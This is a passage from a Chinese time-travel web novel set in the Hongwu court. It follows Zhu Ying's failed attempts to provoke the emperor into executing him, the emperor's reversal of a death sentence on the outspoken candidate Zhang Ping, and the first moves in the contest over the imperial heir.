蓝玉皱眉,沉吟片刻摇了摇头:“罢了,先不管这小子,今天得让允熥他好好表现一下,争取能和朱允炆打打擂台,要不然我们的处境就太不妙了。” ...... 百官窃窃私语。 朱允炆也不由自主地目光落在朱煐身上。 昨日他也不在朝上,但今天听说蓝玉叫了朱允熥上朝,他便也来了。 对于这一道道从四面八方落在自己身上的目光,朱煐不以为意。 都是过眼云烟,都是浮云。 咱终究不属于这个时代,这些人无论是存了什么心思,都只是过客罢了。 朱煐的心绪,波澜不惊,只是一味想着如何能够再寻个合适的理由劝谏老朱,也好尽早功德圆满..... “朱煐!” “你给咱出来!” 树欲静而风不止。 老朱的屁股刚坐到龙椅上就点名点到了站在角落的朱煐。 朱煐睁眼,眉头一挑,当即正色出列。 “学生在。” “待那么老远作甚?给咱到前面来,就先站在刘三吾的旁边吧,方便回咱的话。” 刘三吾虽然官位不算最高,可名望辈分摆在那儿,七十余岁的他站在文臣一方的首列。 老朱这话的意思分明就是让朱煐站到文臣首列去。 满朝文武齐齐愕然。 刘三吾、齐泰、黄子澄等一众朝中官员目光齐刷刷地落在朱煐的身上,眼神中充满了困惑。 他们不理解。 这....到底发生了什么? 昨天难不成我等是做梦了不成? 昨日退朝的时候陛下不还被气得不轻,扬言要诸了这小子的十族吗? 今天怎么就演变成这般了? 大家心中满是困惑,可却又都不想当出头鸟,不敢开口询问,只好强忍着憋着,看有没有愣头青会跳出来。 ...... 朱煐信步走到了文臣首列在刘三吾身边站定。 而此时的百官也是一脸的失望。 这洪武朝堂上的都是一些老油条,这愣头青倒是不好找,没有人当这出头鸟啊..... 然而就在一众官员们引以为憾之际,一道嘹亮的声音突兀地响起。 “陛下,学生有一言!” 这突如其来的声音瞬间吸引了百官以及老朱的注意,所有人都不约而同地循声望去。 开口的是昨日参与殿试的一名贡生,排名靠后,不过大家也有印象,毕竟能入殿试的所有贡生总计也就五十二名,而由于朱煐的缘故,本届贡生更是给在场的每一个朝臣们留下了深刻的印象。 老朱看着朝中突然开口的贡生皱了皱眉。 好没规矩的家伙。 迎着对方殷切的目光,老朱摆了摆手:“你有一言就憋着,咱不想听!” 黄子澄:“.....” 齐泰:“.....” 刘三吾:“....” 常升:“....” 群臣无声。 开口的贡生也是一愣,刚准备出列开口上禀,话到嘴边却被老朱这一句不想听给噎了个结结实实,顿时语塞。 刚要说出口的话被憋回去,脸色涨红,难受至极。 就在大家以为此事就此打住的时候,却见这贡生默默地往朱煐方向看了一眼,旋即一咬牙。 “陛下,你不让学生说,学生还是要说。” “昨日朝堂这朱煐咆哮朝堂,破坏殿试,扰乱朝纲,陛下亦是大怒,何以今日无事发生?” “学生张平,还请陛下解惑!” 张平一句话,顿时引得百官为之侧目。 黄子澄和齐泰互视一眼,都看出了对方眼中闪过的那一抹惊诧。 说愣头青,没想到还真有愣头青。 不患寡患不均,这张平倒也是真不怕死,敢这般态度与陛下说话! 黄子澄和齐泰也算是这洪武朝的老油条了,深知老朱的可怕,两人十分默契地看了眼梗着脖子一脸不服的张平,心里为之默哀.... 年轻人就是年轻人,这一个个的都太勇了! 昨日有朱煐,今日又冒出了个张平.... 张平一番话,引得奉天殿鸦雀无声。可老朱却是瞬间变了脸色。 一时间,整个奉天殿的温度仿佛骤降十度,每个人后背都感受到了一股森然寒意! “张平?你是在质问咱?” 老朱冷着脸,一双眸子盯着张平。 张平也是头铁,哪怕是老朱给了压力,可他却依旧倔强,抬着头,一脸不服,指着朱煐:“陛下,学生不是质问,学生只想要个交代。此人冒犯天颜,霍乱朝纲,可今日却毫发无损,陛下此等行事,倘若日后人人效仿,那该当如何?” “学生只是想请教陛下,君无戏言,何以此人不损毫发?” 张平红着脸与老朱争辩。 他尚未入朝,又是年少成名,年纪轻轻杀入殿试,成为天子门生,张平怒火中烧下,胆子无限大,竟是与老朱正面硬刚了起来。 群臣寂寂无声,不发一言。 大家看了看朱煐,又看了看今天这刚冒出来的铁头娃张平,心中大为震撼。 这如今,我大明的年轻人,都这般勇猛无畏吗? 张平一番话,老朱顿时气炸了! 他娘的,还给咱要上交代了? 为何朱煐不损毫发?他娘的,这是咱大孙子!咱能杀咱大孙子九族?咱砍咱自己? “砰!” 老朱猛地一拍桌子,脸色阴沉似水。 他目光‘嗖’的一下死死盯住了张平。 “请教咱?” “你也配?” “在大明,咱的规矩就是规矩!” “怎么?是不是想说咱不讲道理?” “没错,咱就是不讲道理!” “这些年给你们好脸色给多了,也是和咱讲上道理了?” “来人!将这厮拖下去!” “既然你那么想看咱诛人九族,那咱就让你开开眼,将此人拖下去杖毙!死后再夷三族!” 老朱怒不可遏。 奏疏奏咱没有问题,可奏咱大孙?还想让咱大孙死? 咱孙在外吃了那么多苦头,好不容易寻到了,你还见不得咱大孙好? 那就给咱见阎王爷去吧。 老朱暴怒。 奉天殿内,寂寥无声。 蓝玉一脸惊诧地看向老朱。 他跟随老朱数十年,从年轻时就追随,虽然老朱的脾气不好,喜怒无常,可这般暴怒的老朱,他这数十年间见过的次数屈指可数! 哪怕是蓝玉天不怕地不怕的性子,此刻也不敢开口说一句,生怕引火烧身。 而此时的其他官员更是如此,黄子澄、齐泰都不约而同地缩了缩脖子,两人互视一眼,都看出了对方眼中的庆幸。 果然,这出头鸟不好当啊。 还好没有冒失地当这出头鸟,谁能想到陛下的反应这么大? 黄子澄看了此刻看着场中局势若有所思的朱煐一眼,心中不由有些讶异。 “这小子给陛下灌了什么迷魂药了?陛下这般维护这小子?” ..... 而此时的张平当场懵了.... 原本他是不忿。 是少年人的攀比,是嫉妒,他也是天才,自诩天之骄子,是以不服。 可老朱一番话,却让怒气上头的张平瞬间冷静了下来。 原本火热的大脑瞬间被浇了一盆冷水。 回过神来之后的张平不由自主地打了个冷颤... 人傻了! 陛下...要杖毙我? 还要夷三族? 怎...怎么会这样? 不,我张平少年英才,国之栋梁,陛下怎么会这般轻易杀我? 陛下不重用我张平,还要夷我三族? 第12章 陛下,您糊涂啊! 张平懵了,他不明白。 群臣也是哑然。 黄子澄心有余悸地看了眼此刻的张平。 他又看了眼龙椅上坐着的老朱,暗自庆幸。 果然,这陛下的脾气是一点没变啊,虽然不知道这朱煐用的是什么手段让陛下饶了他,可此刻陛下的这脾气,才是陛下的本色! 黄子澄在心里又暗暗告诫自己,要把握分寸。 不仅仅是黄子澄。 事实上,此刻朝上百官全都在心里暗暗告诫自己。 能在洪武朝当官活下来的,没有一个是不小心谨慎的,那些个愣头青,早该死完了! 眼看张平就要被拖下去,没有一个官员站出来为他求情。 蓝玉闭目养神,事不关己高高挂起,这要是自己人,那蓝玉一定会站出来保一手,可这是个进士,非但不是朋友,大概率还是文官集团的一员,他自然不会出手。 而此时的文官集团也没有人站出来。 一个刚考入朝的进士罢了,还是个排在中下游的进士,开口为其求情而惹怒陛下,这买卖不划算的紧。 偌大的奉天殿,没有一人为张平求情。 眼看张平就要被拖下去。回过神来之后的张平脸上也出现了恐惧。 他感觉死亡的临近。 “陛下,学生不服,学生不服啊!” 张平虽然恐惧,可依旧扭着脖子,一脸不忿。 他本出身贫寒,靠着自己的本事年纪轻轻中了进士,他不服那些生来便锦衣玉食的公子哥,他看不过这世上的不公之事。 在他看来,朱煐昨日那般咆哮朝堂,无法无天,陛下也下令要诛其九族,可今天却又好像和没事发生过一样,他无法接受。 倘若人人如此,那哪里还有国法可言? 张平的声音响彻整个奉天殿,百官不由扶额。 好家伙,都这个时候了,还不服呢? 这不是愣头青,这分明就是个认死理的铁头娃啊! ...... 宫中侍卫已经按住了张平。就要把他拖走。 这时候刘三吾忽然站了出来。 “陛下,张平年岁不大,书生之言,您又何必放在心上?” “陛下既能饶过朱煐,何不也饶了张平?” “臣想用这张老脸向陛下求个情,毕竟张平刚刚入朝,尚不知天威不可冒犯,年少不知分寸,也算情有可原。” 大家纷纷看向了刘三吾。 刘三吾的这个年岁已经算是活到头了,七十几岁的高龄,也没有什么结党营私的心思,也正因如此,才深受老朱信任。他所作所为,无非就是想留个好名声,为发扬儒学再尽一份力。 给张平求情,刘三吾也是看在其儒生的身份上。 有刘三吾带头,其余的官员也纷纷开口。 “陛下,臣以为张平虽言出无状,却也罪不至死,请陛下网开一面!” “臣附议!” “臣...” 有了刘三吾打头阵,一个个官员也纷纷开口。 这样的场面在近些年发生了很多次。 老朱十分信任刘三吾,因此只要是刘三吾开口,不是大事的话都会给个面子。 官员们开口附议也只是做个顺水人情。 然而....他们却不知,此次不同.... 老朱看了眼给张平求情的刘三吾以及朝上的官员们,心中冷笑。 就这张平,也配和咱大孙比? 那是咱大孙,咱饶他那是应该的,这张平算是个什么东西? “够了!” “咱说了,杖毙!夷三族!” “君无戏言,咱的这话既然放出去了就没有收回的道理。谁要再求情,咱不介意再多杀一些。” 老朱阴沉个脸。 老朱此刻心中怒气不消。 他偷偷地看了角落的朱煐一眼。 咱乖孙流落在外多年,好不容易回来了结果被咱一时不慎,打入了天牢。 这事儿都过去了,这不长眼的东西又拿出来提,这是在咱孙面前给咱上眼药啊! 老朱心中恼怒。 一时间,整个奉天殿陷入一片死寂! 刘三吾愕然。 显然,他也没想到这回老朱居然连自己的面子都一点不给。 不过他也是这朝堂上的老油条,当即就像是没事人一样,直起身子,站回到原本的位置,闭目养神,不再吭声。 其余的官员也有样学样。 而此时的张平,面如死灰,心中后悔起了自己的冲动。 昨日刚成进士,原本前途无量,可就因今日一时鲁莽,便要奔赴黄泉..... 自己死便死了,可还连累了家里.... 夷三族啊!我成了张家的罪人! 眼看这侍卫就要押着张平离开。 就在这时,一道突兀的声音忽然响起.... “且慢!” “????” 突如其来的声音打破僵局。 百官的目光瞬间全都聚焦在了声音源头处,朱煐出列。 龙椅上的老朱见是朱煐,原本愠怒的脸色顿时缓和,露出笑容。 原本已经等死的张平一脸愕然地看向朱煐。 朱煐只是淡淡地看了张平一眼,面色不变心中却是暗喜。 这愣头青不长眼啊。 就连刘三吾和这么大臣求情都不管用,反而好像还把老朱给惹急了。 此乃天赐良机啊! 朱煐直面老朱。 “陛下,您糊涂啊!” “因言获罪,此举与暴君何异?” “眼下民间已有传闻,说陛下您残暴不仁,您如今倘若只是因为张平劝谏便将其杖毙夷族,岂非真成暴君了?” “为人君者,当有雷霆手段,却也该有仁慈之心,还请陛下饶过张平!” “陛下若是要杀了张平,那就连学生一起杀了吧,暴君当朝,学生亦不屑入朝为官!” 朱煐的声音回荡在奉天殿中久久未曾散去。 一言一句尽数清晰地落入了每一个人的耳中。 一时间,整个奉天殿,鸦雀无声! 静... 寂静无声! 所有人都一脸诧异地看向朱煐。 而其中又属张平心中最为震撼。 他看向朱煐的眼神里,先是震撼,后是惊愕,尔后便是羞愧。 我如此待他...他竟以德报怨? 这是怎样的高尚品德? 张平已然惊呆! ...... 群臣看向朱煐,仿佛在看死人。 黄子澄看着此情此景暗自摇了摇头。 “这小子的运气倒是不错,陛下对其宠信有佳。可惜就是没有点眼色。” “昨日刚侥幸逃了一命,今天又犯龙颜,当真是找死。” 黄子澄心里叹了口气为朱煐默哀。 其他官员的心中想法也和黄子澄差不多。 然而此时的老朱却是一愣。 旋即看向朱煐。 朱煐看着老朱,面色坚定决绝。 面上不动声色的朱煐心里头却是暗喜。 “来吧,让暴风雨来得更猛烈些!” 朱煐想的和黄子澄想的一般无二。 昨天按照老朱的话说,他自我反省,堪堪忍住了自己在朝上的行为。 可皇帝就是皇帝,捋虎须这事儿,可一不可再。 三番五次的挑衅,老朱必然震怒,一怒之下,便能顺理成章地出手送自己一个功德圆满! 面对死亡,朱煐非但没有半点的畏惧,反而充满了期待。 他等这一刻太久了! ...... 群臣噤声,不敢言语。 百官不敢与老朱对视,只敢用余光悄悄观察。 蓝玉事不关己高高挂起,闭目养神,等待老朱暴怒,坐看风云。 一时间,整个奉天殿被一种怪异的气氛笼罩,似山雨欲来风满楼一般。 “啪!” 忽的,老朱豁然起身,手掌猛地一巴掌拍在了龙椅的扶手上。 寂静的奉天殿里,这突兀的响声传遍整个大殿。 百官不由自主地都打了个哆嗦。 来了来了,陛下怒了! 一道道目光纷纷落在了朱煐的身上。 有看好戏的,有为之叹息遗憾的,不一而足。 “哈哈哈哈哈!” 在群臣的注视下,豁然起身的老朱看着朱煐,发出了一声爽利的大笑。 “好好好!” 大笑之后,连声道好。 黄子澄听了心头一抽抽,头更低下三分。 “陛下怒极而笑,已然癫狂!” 一旁的齐泰小声对黄子澄道。 “知道陛下癫狂还敢说话,不要命了?” 黄子澄咬着牙小声回应,尔后便闭口不言。 齐泰见此也不敢再吭声,生怕引起老朱的注意,殃及池鱼。 深谙老朱脾气的百官们一个个全都低下了头。 此情此景,陛下忽然发笑,这显然,那就是怒极而笑啊! 谁敢招惹此时的陛下? 然而就在众人噤声,不敢言语之际.... “好好好!” “朱煐!” 老朱叫好之后便点了朱煐的名字。 “学生在!” 朱煐挺身而出,一副随时准备慷慨就义的架势。 心中蠢蠢欲动,跃跃欲试,有些激动,有些亢奋。 老朱看着朱煐。朱煐直视老朱。 就在朱煐觉得自己即将功德圆满的时候,却见老朱的脸上倏然洋溢满了笑容,随后冲着朱煐远远地伸出了一根大拇指:“说得好!” 老朱看向百官,手指着众臣,冷哼道:“都听听!都看看!” “怪不得朱爱卿说尔等庸庸碌碌,尸位素餐,这满朝文武,还不顶一个十来岁的小娃娃!” “尔等真当咱是暴君不成?” “方才咱不过是和大家开个玩笑,便想试试我这大明朝堂上有多少忠直之臣!” “好了,现在咱试出来了,你们倒是有些忠直,但不多!” “咱佯装一怒,一个个的就连屁都不敢放了,不似朱爱卿,敢于直谏!” “昨日咱就看出来了,这满朝文武,兖兖诸公,咱犯了错,一个敢说的人都没有,只有朱爱卿冒着被咱诛九族的风险,直言不讳!” “张平,你不是好奇咱为什么不杀朱爱卿吗?” “眼下可理解了?” “你当咱真是暴君?” “嘿嘿,咱不是!咱不过是有时候脾气上来了有些冲动罢了,这事后反应过来,咱也就改了!” “民间传闻,不足为信。” 老朱大手一挥,旋即笑呵呵地看向朱煐:“朱爱卿,回位去吧。咱可不糊涂,咱心中有数呢。” “坊间传闻,不可尽信,日后你入了朝,多与咱相处相处就明白咱的真正为人了。” 说完,老朱一脸笑意地冲朱煐挥了挥手,示意朱煐回位。 而此时。 偌大的奉天殿,已然陷入了死一般的寂静中...... 刘三吾、黄子澄、齐泰、张勉等一众文官瞪大了眼睛,看向老朱的眼神里充满了错愕与不可置信,满脑袋的疑惑。 原本闭目养神的蓝玉倏然睁眼,看着老朱的眼神里充满了震惊。 “????” 所有人的脑门上都冒出了一个个问号。 不是...这...? 陛下这抽的是哪门子风? 若非老朱活生生地就坐在龙椅上,大家确定坐在上面的就是老朱本人,怕是都要以为这皇帝换人了.... 满朝诸公,不敢直谏? 这特么的,这能怪我们吗? 前些年倒是有不少敢于直谏的,那不都被您老人家一个个都找法子给咔嚓了吗? 你脾气上来了有些冲动? 你那可真是太冲动了! 事后反省? 这入朝为官十年几十年的,印象里好像从未见你反省啊.... 大家的心里嘀咕着,可这些话嘴上却没有人敢说出来半个字。 这丫的要说出来了,那不是嫌命太长了? 满朝文武看向龙椅上的老朱,随着年纪越来越大,老朱身上的气势也愈发强大。 看着老朱,大家的心中一个个皆是发颤,眼神更是充满了敬畏.... 果然,这伴君如伴虎。 君心难测,君心难测啊! 本以为入朝为官多年,已经充分了解了陛下的习性脾气,可眼下一看,自己还是想的太简单了! 看着满面笑容的老朱,大家越看心里越发憷。 不怕老朱阴沉脸发怒,就怕这丫的像眼下这般反常地笑哇! 这可太可怕了! 第13章 允熥皇孙才是天命所归! 群臣愕然。 同时傻眼的还有朱煐。 他瞪大眼睛看向老朱。 “????” 他娘的,试探? 你还不是暴君上了?你不是暴君,那谁是暴君? 这老朱还会听民间的议论? 不对啊,这怎么和历史记载里的老朱不太一样啊? 朱煐脸色难看。 如果说昨天一次没有成功,那是偶然,那这一次,又一次没有成功,那就只能说明一个问题——自己的资料出了问题! 按照以往的赴死经验,这慷慨赴死讲究一个对症下药,这和郎中治病救人是一样的,需要对症下药,什么病症下什么药。同理,赴死也是,面对什么样的君王采取什么样的策略方式。 两次老朱出乎意料的表现就只能说明一个问题——史料记载有误啊! 倘若真如历史史料上所记载的老朱一样,那以自己的行为,这会儿绝对已经是功德圆满好几次了。 可现在,自己依旧完好无损。 这说明什么? 这说明,史料记载不真实!真正的老朱与记载中的老朱有很大的偏差! 按理说大明距离新世纪也不过是区区几百年,相较于秦朝,汉朝,唐朝,这个时间节点可以说是太近了。 可先前哪怕是穿越到汉唐时,其朝代的皇帝秉性和史料记载中也相差无几,可偏偏怎么大明出了问题? 朱煐只是稍稍思索,旋即有了个猜想.... “难不成是大清修史的人为了抹黑老朱,所以对史料的记载进行了艺术加工?” 朱煐暗自排腹。 历朝历代的正史都不是本朝修的,都是后面的新王朝修订的,修史意味着传承,意味着这江山天下是从前朝传承下来的,是稳定民心,确定王朝正统地位的必要手段。 明朝修的是元朝的史料。 而明朝的史料,自然是清朝编修。 要这么来看,很明显,大清这是给老朱进行了不少的艺术加工哇! 朱煐有些无奈。 谁能想到,这老朱的性格脾气与史料记载中相差这么大呢? 尤其是这忍耐度,特么的都快赶上唐太宗李二了! “行了张平,你也站回去吧,咱也不过是和你开个玩笑罢了。” 老朱笑着挥了挥手。 劫后余生的张平一脸愕然。 开玩笑? 我特么的三族都快被开没了! 这会儿的张平劫后余生,哪里还有半点先前的桀骜不驯,只是看向朱煐的目光中充满了感激与敬佩。 “以德报怨,此人真乃君子也!” 张平心中感慨的同时赶忙回到自己的位置上站好,不敢再吭声,生怕自己再把自家的三族给坑进去.... 而此时的其余官员也是错愕。 有的人看向老朱,有的人看向朱煐..... 陛下在试探? 怎么感觉有点不对劲的样子.... 在场的都是老油条,本能的直觉让他们感觉有些不对劲,可真要说,却又说不出什么。 毕竟这朱煐的底细也十分清楚,就是一个昨天刚入殿试进入陛下视野的朝堂新人。 说破大天去,也就只能说陛下对此人有些欣赏,可要说只是因为欣赏就让陛下言听计从....显然,这绝不可能! 那么真相便只有一个——这朱煐只是一杆枪,他所做的事情,恰好是陛下想做的事.... 黄子澄想通了其中关窍,眼珠子转了转,随后看了眼身旁的齐泰。 齐泰正好此时也看向了黄子澄,两人交换了一下目光,顿时明白了对方心中所想。 “看来陛下也是有心立储了啊。” 黄子澄小声低语。 齐泰点了点头:“陛下说试探倒是提醒了我,这朱煐许是陛下的人?陛下在试探我等态度?” “是极是极,此言有理,如此一来,就都通了!” 齐泰的话也是黄子澄所想,两人顿时恍然,连连点头。 “咱们这陛下,还真是越老越厉害了。” 两人不由感慨....看向老朱的目光更为敬畏了.... ..... 张平之事在这大朝会上只能算是个开场的插曲。 不过老朱的行为也让无论是文官集团还是淮西勋贵都提起了精神。 敲山震虎,杀鸡儆猴,大家都觉得老朱此举是借张平敲打大家。 因此在张平归位之后,原本准备挑破皇储之争的百官悉数陷入了沉默。 无论是淮西一脉还是文官集团,都不想当这个出头鸟去怵老朱的眉头..... 一时间,偌大的奉天殿,竟没有一人站出来说话! 朱煐则是默默地站在刘三吾身边,大方地眼神扫视,观察形式。 他的想法很简单,既然史料记载有误,那就靠自己,重新收集资料,重新了解老朱,再另则良机,对症下药。 八世轮回都过来了,也不差这一时半刻的,功德圆满就在眼前。 总归这是洪武朝,哪怕大清修明史的时候给老朱来了些许的艺术加工,但这底色总该是不变的,老朱就算不是个暴君,显然也是个急脾气,急脾气的皇帝手下,怒而杀人,这不常有的事儿吗? 是以朱煐在观察,他在蛰伏,继续等待着一个机会..... ..... “怎么?都没人说话了?” “有事情就给咱说,没事情咱可就退了。” 老朱开口打破了僵局。 这话一出,朝中文武才纷纷松了口气。 “陛下,臣有本奏!” 黄子澄站了出来。 老朱眉头一挑,黄子澄还没开口,老朱心里已经明白了个八九分。 毕竟今天一反往常,两个孙子全都上了朝,这些个家伙葫芦里卖的什么药不用猜都知道。 “说!” “谢陛下!” “昨日退朝之后,臣反复考量,日前朝上朱煐所言,虽然有些莽浪,却又并非全无道理,太子已逝,为我大明陛下还需尽早振作,立下皇储,以安国本啊。” 原本黄子澄并不准备这么直接地将话题引到立储上,不过先前老朱的一番话让他改了主意。 他与齐泰判断,之所以昨天朱煐那一番言论今天老朱却像是个没事人一样,就是因为这朱煐这番言论的背后是老朱! 既然这背后是陛下,那自然,那些冒犯之言也就算不得冒犯了,相反,这小子是陛下心腹!前途无量! 那么...既然昨日的国本之说背后是陛下,那也就是说,陛下他心中是有意立皇储的。或许只是在衡量某些东西。 在衡量什么,黄子澄不在意,他只需要知道陛下有意立皇储,就够了! 于是他便选择了单刀直入,直言不讳。 老朱听黄子澄的话挑了挑眉头:“哦?黄爱卿也觉得朱爱卿说的对?” 黄子澄默默看了眼朱煐,拱手对老朱点了点头:“回陛下,臣以为,朱煐所言,有其道理!” “那你想立谁?给咱说说?” 老朱眯起眼睛。 黄子澄顿时心跳加速,背后发凉,赶忙低头道:“启奏陛下,这皇储之事,全赖陛下一言而决,臣等只能建议,立谁还得陛下乾纲独断才是。” 黄子澄谨慎得很。 他的谨慎是这在洪武朝官场混迹多年养出来的。 毕竟不谨慎的那些家伙,这会儿坟头草都已经老高了。 前车之鉴后事之师,面对老朱这样的皇帝,黄子澄不敢有丝毫的大意。 “咱又没让你立,咱就是让你说说,提个建议,不必担心,大胆给咱说,咱倒也想听听大伙儿的想法。” 老朱笑眯眯的,努力做出一副和蔼的模样,同时他的眼睛有意无意地撇向朱煐。 还得在咱孙面前表现好些,给咱大孙留些好印象。 这他奶奶的,这民间咱的形象是谁给传的? 暴君?咱脾气是差了一些,但也不至于是暴君吧? 这可坏了菜了..... ..... 黄子澄又小心地打量了老朱两眼,见老朱不像是托词,深吸一口气才说道。 “陛下,依臣之见,允炆皇孙仁德兼备,破局仁孝之风,或可为皇储。” “不过允炆皇孙尚且年幼,尚需陛下多加指导,否则以如今的能力,或有不足。” 黄子澄可以说是直言不讳了,没有过多的隐藏,直接发表了自己的看法。 老朱看向朱允炆,点了点头。 “允炆,黄爱卿说你仁德兼备,你自己怎么看?” 朱允炆被点名,诚惶诚恐。 “爷爷,孙儿...孙儿没想那么多,孙儿只想爷爷能长命百岁。以孙儿如今的能力,自然是比不得父王,不过孙儿会努力的!” 朱允炆话里话外都是一副受宠若惊的样子,同时又表示倘若自己当了皇储,一定会发愤图强,努力追赶父亲朱标,展露出了担当。 老朱看着朱允炆点了点头。 “你有这个心就好了。不过咱的年纪确实是大了,长命百岁的咱不想,让大明能安安稳稳,长治久安就够了,至于咱。生老病死自有定数,有些事,逃不掉的。” 老朱有些怅然,他莫名想到的儿子朱标,想到了妻子马皇后.... 而听了老朱的这话,殿中的黄子澄却不由喜上眉梢。 不仅仅是他,文官集团的几乎都是面露喜色。 相互互视,都看出了对方眼中的那一份喜意。 看来陛下对允炆皇孙还是非常满意的! 过了一阵子。老朱回过神来看向殿中,目光从百官的身上依次扫过,最终落在了淮西一脉的方向。 “对于立皇储这事儿,可还有人有其他的想法?” “有想法就可以给咱说。都摆到明面上来,可以和咱好好议议的嘛!” 老朱话音刚落,一道洪亮的声音便紧接着响起。 “陛下,臣有想法!” 这声音一出,顿时满朝寂然。 整个奉天殿,所有人的目光全都齐刷刷地落到了声音源头处。 所有人都看向了声源处的那个男人——凉国公,蓝玉! 朱煐也看向了蓝玉。 蓝玉体态壮硕,如今正值壮年,常年征战沙场让他的身上自带一股子肃杀之气,与这朝堂格格不入。 蓝玉的性子很傲,他自年轻时就傲气十足,如今依旧。 所谓江山易改本性难移,一个人的脾气性格往往伴随他的一生,想要改变,几乎是不可能的事。 性格脾气只能刻意压制控制,可要说真正碰到事儿了,该是什么脾气依旧是什么脾气。 “蓝玉,你可是许久没上朝了,今天怎么想起来这朝堂上了?” “怎么?咱的凉国公,也有话说?” 老朱调侃道。 事实上对于蓝玉上朝老朱早有预料。 出了昨天那一档子事,朱煐当朝点出,倘若朱允炆成了皇储,日后登基上位,等自己百年之后蓝玉随时有改天换日的能力,这话出了之后老朱就明白,依着蓝玉的脾气,不可能坐以待毙。 果然,今天,许久没有上朝的蓝玉也上了朝。 原先在朝上的时候,老朱在气头上没有细想,可在知晓了朱煐的身份,事后又冷静下来之后,老朱才惊觉,朱煐说的,半点不错! 倘若朱允炆当真上位,而自己归天,以蓝玉的身份地位,军中威望,改天换日轻而易举,到时蓝玉真要行废帝之举,还真没人能拦着! 这蓝玉本是老朱留给儿子朱标的底牌之一,可眼下朱标去世,不曾想却成了个烫手的山芋! 真要立朱允炆的话,就必须把蓝玉给处理了! 老朱想到此处,不由看了眼殿中的朱煐。 他的眼中闪过一抹欣慰。 咱大孙不光禀赋过人,靠自学便入了殿试,还有这般敏锐的政治嗅觉! 咱都还没想到的事情,他倒是先想到了。 啧啧啧,是有能耐天赋的。 这要是再加上咱的雕琢,就是一块上等美玉啊.... 老朱坐在龙椅上思绪纷飞。 而此时,殿中下方的蓝玉的心却已经提到了嗓子眼。 他本不想介入皇储之争,可眼下,形势所迫,就算是不想掺和也不得不掺和了。 坐以待毙,老朱真要是立了朱允炆为皇储,自己,以及整个淮西一脉都将受到前所未有的打击! 蓝玉深吸一口气,面色严肃,拱手高声道:“没错陛下,臣有话说!” “臣以为,允熥皇孙才是天命所归!” “这皇储,当立允熥才是!” 第14章 殿下如此,全赖陛下! 相较于黄子澄,蓝玉的话更为直接。 而听了这话的老朱也并不奇怪,无论是从自身利益还是从亲疏关系而言,蓝玉支持朱允熥都有着充分的理由。 “允熥,你自己怎么看?” 老朱看向了朱允熥。 蓝玉也看向了朱允熥。 随着老朱的这一句话,全场的目光齐刷刷地落在了一直站在朱允炆身旁,忐忑不安的朱允熥的身上。 朱允熥十四岁,昨天蓝玉找到朱允熥之后好说歹说让朱允熥鼓起了勇气,站上了这朝堂。 可当被瞬间受到如此多目光的注视,本就忐忑不安的朱允熥更加紧张慌乱了。 “爷...爷爷,我...” 朱允熥想把原本蓝玉教的话说出来,可话到嘴边却怎么也说不出口。 老朱皱起了眉头。 自己的这孙儿从小到大就非常懦弱,本以为这是个历练的机会,也算是鼓起勇气站上了这朝堂,有胆子争皇储,算是有了成长,可没想到,到了这关键时刻,又支支吾吾说不出话了。 “你什么?可是你自己想当的这皇储?你想和你大哥争抢这皇储之位?” 老朱的语气尽量平和,言语间并没有怪罪的意思。 可这话落到朱允熥的耳朵里却全然不同。他对老朱这个皇爷爷本就害怕,此刻的他本就紧张,老朱的这番话落在他的耳朵里,瞬间让朱允熥的脸色变得惨白。 而就在这时,身边的朱允炆拍了拍朱允熥的肩头:“允熥,没事的,你想争皇储也是情理之中,你我公平竞争就是了,能者上庸者下。” 可就是朱允炆的这肩头一拍,彻底成了压垮朱允熥心中的最后一根稻草。 朱允熥一扭头,就看到了朱允炆那带着笑容,人畜无害的那张脸。 朱允熥的脸色唰的一下变得惨白。 他想到了从小到大那些莫名其妙离奇死亡的东宫宫女太监。 那一张张惨死的脸在他的脑海里不断浮现。 这一刻,昨天蓝玉所有的嘱咐此刻全都彻底烟消云散。 朱允熥再也绷不住了。 “哇!” 朱允熥‘噗通’一声当殿跪到了地上,顿时痛哭,一边痛哭一边磕头。 “皇爷爷,我不想和大哥争皇储,求皇爷爷将皇储给大哥吧。” “求皇爷爷饶命,我不想死,我不想当皇帝....” “呜呜呜....” 恐惧笼罩了朱允熥的周身,朱允熥跪在地上痛哭流涕。 而这突如其来的一幕让包括蓝玉、老朱在内的文武百官全都是猝不及防。 文臣愕然。 旋即心中大喜。 朱允熥这般表现,显然是不堪重用,朱允炆没有了竞争对手,这皇储之位可谓是稳如泰山了! 而此时的淮西一脉却是脸色难看到了极致。 众人纷纷看向了蓝玉。 蓝玉却也是一脸的无可奈何。 按照实力来说,淮西一脉的实力还要在文臣集团之上,再加上蓝玉亲自坐镇操刀,朱允熥绝对有能和朱允炆一较高下的资格。 老朱在立储的时候也不得不考虑到淮西一脉的想法。 在听说朱允熥上朝准备和拥立朱允炆的文臣集团干一架的时候,淮西一脉全都是摩拳擦掌跃跃欲试。 可眼下,谁也没有想到,这仗还没打呢,领头羊投降了? 两军对垒,主帅投降? 这还怎么打? 淮西一脉众人看向朱允熥的眼神里充斥着失望。 “唉...” 蓝玉也叹了口气。 昨天他已经尽力做了整整一天的工作,给朱允熥做了一整天的心理建设,好说歹说说服了朱允熥上朝,争一争这皇储之位,可谁能想到,这临阵,朱允熥连对垒都没和朱允炆对上,直接就跪了! 这一跪,机会就彻底没了! 就算是日后想要挽回,也不可能了。 毕竟眼下的表现,已经被陛下给看在了眼里,高下立判! “这.....” 朱允熥的表现不光是出乎了淮西一脉所有人的预料,同时也出乎了老朱的预料。 老朱整个人都懵了,愣在当场。 原本他都已经做好了看戏的准备,等着朱允炆和朱允熥,文官集团和淮西一脉对垒,他并不排斥这种对垒,相反,还很支持,争斗是无法避免的。 可眼下....朱允熥的表现却让老朱大跌眼镜。 有蓝玉当靠山在背后撑着,还没开打就直接跪了? 这.... 咱怎么生出了这么个懦弱的玩意儿? 往常听人说自己的这孙子自小懦弱,还不以为意,如今一看,这懦弱的程度,比自己想象的更甚啊! 连争抢都不敢,当着这么多人的面,跪地痛哭? 这丢的是咱老朱家的人啊! 老朱的脸色难看到了极致。 “允熥,你给咱站起来!” 老朱动了怒。 然而这会儿的朱允熥已经听不见老朱的话了,他已经被恐惧冲昏了头脑,只是一味大哭。 老朱的脸色更加难看了。 而这会儿的黄子澄看着这一幕,心中却是暗喜。 皇储之位,已是囊中之物! 太子朱标的儿子中,有资格当这皇储的无非就是朱允熥和朱允炆,而眼下,朱允熥这表现,已然绝了成皇储的路子,陛下不可能将这泱泱大明交给一个如此懦弱的后辈手上! 换而言之,朱允炆当皇储,已经是板上钉钉。 而自己又是一力促成此事之人,又是允炆皇孙的老师,有这师生情谊,位列三公,日后也是有着极大的可能!前途无量! 